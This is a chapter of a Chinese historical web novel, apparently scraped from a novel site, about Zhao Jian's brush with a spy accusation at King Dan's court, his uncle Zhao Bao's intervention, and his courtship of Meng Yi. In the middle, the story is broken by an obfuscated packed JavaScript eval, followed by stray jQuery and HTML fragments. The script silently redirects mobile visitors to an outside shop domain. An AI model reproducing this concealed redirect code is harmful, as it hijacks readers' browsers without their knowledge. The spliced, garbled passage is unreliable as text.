一钩弯月悬在檐角,虎扶着偏殿外冰凉的石栏杆,愤懑不已:“不等了,我要救公子出来!”
他拔出佩刀,刀口直冲不远处的王宫侍卫。
门客杵臼朝窗上的两道影子努努嘴,示意他稍安勿躁。
殿内,舒祺摆上酒浆点心,为赵简压惊,送来一个好消息:有位重要人物入宫替公子求情,公子应该很快就能回府了。
赵简没那么乐观。丹疑心病甚重,叔父不在邯郸,没几个人能劝住他……赵简忽然意识到此事绝非巧合,弥氏是故意挑叔父不在的空隙发难。
却听舒祺道:“你与大王,可不是只有一位叔父。”
赵简一愣:“小叔父?”
***
“……哪怕简不扶她为正室夫人,哪怕只是个宠姬爱妾,也是赵氏妇。咱们赵氏妇,焉能蒙此羞辱?唉哟大王你是没瞧见,那弋氏女哭得肝肠寸断,铁石心肠见了也会起恻隐心的……弥氏死得一点都不冤!”
当着赵丹的面咒骂弥氏八辈祖宗的,正是平阳君赵豹。
赵丹脸上红一阵白一阵的,心下了然,怪不得简暴跳如雷,弥子符确实死不足惜。可一想到弥子牟,又犯了难。子牟殷勤侍奉多年,不好教他凉了心。
老辣如赵豹,一眼看穿赵丹,继续攻略:“简纵有天大的错处,也是王弟,有大王和宗室长辈教训,岂容弥氏撒泼放屁?难道大王亲弟反不如他弥子牟之弟?他们如此欺辱简,大王的脸往哪儿搁?赵氏宗族的脸往哪儿搁!”
赵丹内心松动。
赵豹穷追猛打:“大王就是太仁善,对他们太好了,好到让他们忘记自己是什么东西了。他弥子牟什么东西?玩物而已!予之夺之,全凭大王一句话,今日他们敢欺辱王弟,明日就敢忤逆大王。”
赵国的诸位封君中,如平原君、平阳君者,宗室股肱;马服君赵奢、信平君廉颇者,国之屏障……独独建信君弥子牟,无半点功勋,全靠色相上位,实乃赵国朝堂的笑柄。
赵丹性子原就摇摆不定,被赵豹这么一激,也觉弥氏兄弟无理取闹。可是,孟弋若真是间谍呢?
***
“荒唐!”赵简重重搁下酒爵,不悦地瞪着舒祺。
这一刻他猛然清醒地意识到,他在乎的不是孟弋的身份,而是她这个人。
“孟弋那点拳脚功夫,只堪吓唬吓唬老弱妇孺,若她都能潜入宫中、畅行无阻,夤夜冒着大雨摸到秘阁,只能证明王宫守卫形同虚设,尔等黑衣是干什么吃的?难道有内应?你掌管宫中禁卫,不先自证清白,清理门户,反信口开河。与秦人亲近就是秦间谍,那满朝公卿,有多少收了秦人的贿赂,来替秦人说好话的?全是间谍了?”
舒祺嘴巴张了两下才发出声:“我是说大王有疑虑,并不是我怀疑孟弋。”
赵简吁口气,面色稍霁。
舒祺似窥破了天大的机密,不无紧张道:“孟弋与吕不韦、异人一家都交情匪浅,异人的儿子又拜她为师,她又同你这般……你休怪我饶舌,美人计防不胜防呐。”
赵简回敬:“你说话一发有汝父左师的风范了,语重心长,老气横秋。”
舒祺严肃道:“简,大王可是有密令的……”
赵简挥手阻止他:“我自有分寸。你转告丹,孟弋绝无可能是盗图贼。如有差池,我任凭他处置。”
***
信宫沉重的大门嘎吱吱打开,赵豹和赵简前后步出。
到车舆前,赵简双膝一弯,欲跪谢赵胜,被赵豹一把扶住。“自家人,没恁多礼。”
赵简动容:“多谢叔父!”
平心而论,赵简与赵豹并不亲近。不同于赵胜的风流不羁,赵豹平生无大志,唯一好财货。曾有一度,赵胜看不过去,委婉地提醒他适可而止。
匪夷所思的,正是这位汲汲钱财俗不可耐的叔父,劝住了赵丹,令赵简安然过关。
“可别谢我,要谢就谢孟弋吧。”赵豹不居功。
马车行驶在空旷寂静的大街,冷不丁听得赵豹如此说,赵简鼓膜嗡嗡作响,以为自己出现了幻听:“孟弋?”
“是啊。”
今夜,赵豹本都歇下了,下人冒冒失失来报庐陵君派人来了,十万火急的大事。
到了前厅,却见一少女扑通跪下,哭得上气不接下气:“……公子为奴杀了建信君之弟弥子符,惹了大麻烦,被大王急召入宫,恐有不测。求平阳君救救公子……”
赵豹一听怒不可遏:“反了天了,欺负到赵氏头上了!我赵豹还活着呢,来人,取佩剑来……”
赵简一时无言,嘴角轻轻翘起,心中赞道:可惜了,孟弋若是男子,定能成大事。她咬住弥子符不放,硬是将矛盾的焦点从抓奸细转移到了赵氏男儿的尊严上。赵豹出了名的护短,焉能坐视?
“此女甚好,出手也大方,早些娶进门为宜。”赵豹对孟弋印象颇佳,催赵简快些行动。
赵简哭笑不得。
***
“我意已决,让开!”
孟弋挎了刀,大义凛然地怒斥前进路上的绊脚石。不知赵豹讲不讲信誉,假如他收了宝珠不办事,或是不念及叔侄情分、办事不力、敷衍了事……却该如何是好?盘算来盘算计,她结识的游侠儿不算少,个个能闯祸又胆大包天,去王宫里闹一闹,给赵丹添些堵,也不难办。
少祁展臂挡在门前,好话说尽,就差哭着跪下了:“公子有令在先,我等岂敢不遵?再等一等……”
“还等什么?赵丹那厮阴晴不定,刻薄寡恩,你家公子不定遭了哪些罪呢……”孟弋耐性尽失,动手拨开少祁,朝前迈一步,腿一僵,眼直直地盯着院中人影。
“深更半夜,女侠是要行侠仗义么?”赵简清润的嗓音击碎了夜幕。
***
空旷的大殿上,弥子牟啼哭不止:“大王,臣弟是无辜的,他奉公行事而已。庐陵君目中无人……”
赵丹头又开始疼了。“子牟,退下吧,寡人累了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223578|150039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
弥子牟不甘心:“大王,您被赵简欺骗了,他在狡辩,他在包庇间谍,那个叫孟弋的女人有问题。大王,求您彻查!”
赵丹掐着眉骨,心想叔父说得对,就是对这些玩物太好了。他一巴掌拍击在案头,发出重重一声响,弥子牟仿佛被勒住了脖子,哭声戛然截断。
“还敢为你那个不成器的兄弟求情?弥子符吃了熊心豹子胆,把赵氏当什么了,把寡人当什么了?寡人再瞧不上简,他也是寡人的手足,身上留着赵氏的血,要打要辱都由寡人,轮不到尔等放肆!”
弥子牟魂胆俱亡,以头抢地,哀戚求饶。“大王恕罪,大王恕罪,奴错了……”
见状,赵丹念起他往昔的好,熄了火,亲手搀起他。“子牟,你也累了,回去歇着吧。”
***
跃动的烛焰下,孟弋一脸歉意。“都怪我行事鲁莽,连累了公子。”
赵简道:“说的什么傻话,难道你去北郭纥家中,是替旁人寻找物证?”
二人都笑了。
“害你破费了。”赵简歉然。
赵豹贪财,若无重金叩门,平阳君府的大门不会那么轻易打开。
“区区几颗珠子,和公子比,不值一提。”
孟弋瞳子亮晶晶,比月华澄澈万分。赵简一颗心怦怦跳:“我补偿。”
他打开了搁在案头的铜匮,正是孟弋开锁的那只。
盖子掀起,只见黄绢上躺着一对绞丝凤首青玉环、一双同质地的金钩玉耳环、一对玉笄……女子头面。
“母亲留给我的。”说起母亲,赵简眉目都温柔了几分。
这是燕姬的嫁妆,是远嫁赵国前,母亲亲选玉料、亲绘图样,又亲自物色玉工打制的。女儿远嫁,最伤心的是母亲,她祈盼通天灵玉能护佑女儿平平安安,长命百岁。可是,到了到了,灵玉未能通人性。
燕姬没有女儿,临终前将这套头面首饰留给了唯一的儿子,教他娶新妇时,亲手为新妇戴上……
听完,孟弋不自在起来,既是燕姬留给未来儿妇的,赵简拿给自己看很是不妥,正想着,忽觉腕上一凉。低头看时,那青玉环已套在自己腕上,堪堪与青黛色衣袖融为一体。
惊诧地抬头,赵简正含情脉脉看着她:“我为你戴上……可好?”
孟弋双颊通红。垂头思索片刻,在赵简满目期待中,果断褪下玉环放回匮中。“太贵重了,孟弋承受不起。”
赵简眸中一片晦暗。“是因为钟离克?”
***
弥子牟两股战战出了宫。御者趋步上前扶他时,他突然有了力气,一脚踹过去:“下贱畜生,也配碰我?”
御者哆嗦着跪下,脊背打得平直,弥子牟骂骂咧咧,踩在他背上,借力登车。
车子辚辚行驶在空旷的夜里。弥子牟恨得咬碎了牙:“赵简、孟弋,不杀汝二人,我誓不为人!”车子颠了一颠,他欲骂人,突然想起,那个被他抽了五十鞭的士卒说,告密者住在榆邑。